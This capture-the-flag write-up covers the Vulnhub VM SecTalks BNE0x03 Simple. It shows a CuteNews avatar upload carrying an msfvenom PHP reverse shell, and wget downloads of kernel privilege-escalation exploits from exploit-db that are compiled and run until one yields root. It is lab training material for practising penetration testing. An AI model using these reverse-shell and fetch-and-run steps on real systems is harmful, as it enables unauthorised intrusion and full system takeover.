As droopy was not really hard and doesn't contain as much web vulnerability as I would hope for, I tried an other VM SecTalks: BNE0x03 - Simple There were also hints on the description of the machine but with my resolution they do not appear when just browsing the main page of vulnhub so I have not spoiled myself with the hints this time.
Let's nmap the box to get some knowledge about it:
root@kalili:~# nmap 10.0.2.5 -p0-65535 Starting Nmap 7.12 ( https://nmap.org ) at 2016-05-11 15:42 CEST Nmap scan report for 10.0.2.5 Host is up (0.00032s latency). Not shown: 65535 closed ports PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:60:21:5C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 2.60 seconds
There seems once more that only the port 80 with a HTTP service is available.
We go to the website. We notice that it is powered by CuteNews 2.0.3 (look at the footer). We search on internet for vulnerability and found one. This vulnerability allow the execute PHP code by uploading a malicious avatar.
We create an account in order to upload our avatar.
We generate a PHP meterpreter using
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -e php/base64 -f raw > /tmp/shell.php
We prepare our metasploit for the callback:
msf > use exploit/multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 10.0.2.5 LHOST => 10.0.2.5 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 10.0.2.5:4444 [*] Starting the payload handler...
We upload our msfvenom's payload as our avatar.
We go to
http://10.0.2.5/uploads/avatar_john_shell.php and we got our
Let's see what this box is made of:
uname -a Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
Once more an Ubuntu 14.04, like the droopy from yesterday.
CVE-2015-1328 exploiting overlayFS
Let us try once again to exploit the CVE-2015-1328 exploiting overlayFS to get a root shell on the machine. I started a shell from the meterpreter, download the exploit, compile it, run it and failed it:
meterpreter > shell Process 1335 created. Channel 3 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data) wget https://www.exploit-db.com/download/37292 --2016-05-11 09:59:52-- https://www.exploit-db.com/download/37292 Resolving www.exploit-db.com (www.exploit-db.com)... 22.214.171.124 Connecting to www.exploit-db.com (www.exploit-db.com)|126.96.36.199|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 5123 (5.0K) [application/txt] Saving to: '37292' 0K ..... 100% 409M=0s 2016-05-11 09:59:53 (409 MB/s) - '37292' saved [5123/5123] mv 37292 ofs.c gcc ofs.c -o ofs ls avatar_john_shell.php ofs ofs.c chmod +x ofs ./ofs spawning threads mount #1 mount #2 child threads done exploit failed
When searching for exploit regarding linux 3.16.0 I found the CVE-2014-5207:
CVE-2014-5207 Fuse-based exploit
CVE-2014-5207 Fuse-based exploit. I download the exploit, compiled it and once more failed it:
gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid /bin/sh: 1: pkg-config: not found fuse_suid.c:21:18: fatal error: fuse.h: No such file or directory #include <fuse.h> ^ compilation terminated
When searching for
ubuntu 14.04 privilege escalation exploit I found two
interesting exploits :
* CVE-2015-1318 + CVE-2015-1862
The CVE-2015-3643 exploit the D-Bus listening on com.ubuntu.USBCreator. I try this exploit but the module was not available and failed:
dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so" Error org.freedesktop.DBus.Error.ServiceUnknown: The name com.ubuntu.USBCreator was not provided by any .service files
CVE-2015-1318 + CVE-2015-1862
The CVE-2015-1318 + CVE-2015-1862
exploit a feature in ubuntu 14.04 allowing a user to forward crash reports
(more informations here).
I download the exploit, compiled it with
-static and run it to get a root
shell on the box:
meterpreter > shell Process 1550 created. Channel 9 created. cd /tmp/ wget https://www.exploit-db.com/download/36746 --2016-05-11 11:22:39-- https://www.exploit-db.com/download/36746 Resolving www.exploit-db.com (www.exploit-db.com)... 188.8.131.52 Connecting to www.exploit-db.com (www.exploit-db.com)|184.108.40.206|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 5216 (5.1K) [application/txt] Saving to: '36746' 0K ..... 100% 337M=0s 2016-05-11 11:22:43 (337 MB/s) - '36746' saved [5216/5216] mv 36746 newpid.c gcc -static newpid.c newpid.c:17:3: warning: #warning this file must be compiled with -static [-Wcpp] # warning this file must be compiled with -static ^ ./a.out uid=0(root) gid=33(www-data) groups=0(root),33(www-data) id uid=0(root) gid=33(www-data) groups=0(root),33(www-data)
We just need to get our hands on the flag to finish it.
cat /root/flag.txt U wyn teh Interwebs!!1eleven11!!1! Hack the planet
It was a nice box with still not so much web exploitation and only one exploit to launch to get to root. Thanks to Robert Winkel for the box and as always to Vulnhub for their work.